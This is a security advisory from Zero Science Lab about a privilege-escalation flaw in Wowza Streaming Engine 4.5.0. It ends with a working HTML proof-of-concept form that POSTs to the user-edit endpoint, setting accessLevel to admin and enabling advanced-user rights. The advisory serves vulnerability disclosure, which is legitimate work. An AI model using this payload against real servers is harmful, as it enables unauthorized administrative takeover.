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zeroscienceGjoko KrsticZSL-2016-5340
HistoryJul 19, 2016 - 12:00 a.m.

Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit

2016-07-1900:00:00
Gjoko Krstic
zeroscience.mk
415

AI Score

7.7

Confidence

High

Title: Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit
Advisory ID: ZSL-2016-5340
Type: Local/Remote
Impact: Privilege Escalation
Risk: (4/5)
Release Date: 19.07.2016

Summary

Wowza Streaming Engine is robust, customizable, and scalable server software that powers reliable video and audio streaming to any device. Learn the benefits of using Wowza Streaming Engine to deliver high-quality live and on-demand video content to any device.

Description

The application suffers from a privilege escalation issue. Normal user (read-only) can elevate his/her privileges by sending a POST request seting the parameter ‘accessLevel’ to ‘admin’ gaining admin rights and/or setting the parameter ‘advUser’ to ‘true’ and ‘_advUser’ to ‘on’ gaining advanced admin rights.

Vendor

Wowza Media Systems, LLC. - https://www.wowza.com

Affected Version

4.5.0 (build 18676)

Tested On

Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)

Vendor Status

[03.07.2016] Vulnerability discovered.
[09.07.2016] Contact with the vendor.
[18.07.2016] No response from the vendor.
[19.07.2016] Public security advisory released.

PoC

wowza_rprivs.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] https://www.exploit-db.com/exploits/40133/
[2] https://packetstormsecurity.com/files/137972
[3] https://cxsecurity.com/issue/WLB-2016070156
[4] https://exchange.xforce.ibmcloud.com/vulnerabilities/115124

Changelog

[19.07.2016] - Initial release
[22.07.2016] - Added reference [1], [2] and [3]
[26.07.2016] - Added reference [4]

Contact

Zero Science Lab

Web: http://www.zeroscience.mk
e-mail: [email protected]

<html><body><p>Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.

Advanced Admin:
 Allow access to advanced properties and features
 Only for expert Wowza Streaming Engine users.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php


03.07.2016

--


Privilege escalation from existing read-only user to admin(advanced):


  </p>
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
<input name="version" type="hidden" value="0"/>
<input name="action" type="hidden" value="quickEdit"/>
<input name="userName" type="hidden" value="usermuser"/>
<input name="userPassword" type="hidden" value=""/>
<input name="userPassword2" type="hidden" value=""/>
<input name="accessLevel" type="hidden" value="admin"/>
<input name="advUser" type="hidden" value="true"/>
<input name="_advUser" type="hidden" value="on"/>
<input name="ignoreWarnings" type="hidden" value="false"/>
<input type="submit" value="God mode"/>
</form>
</body></html>

AI Score

7.7

Confidence

High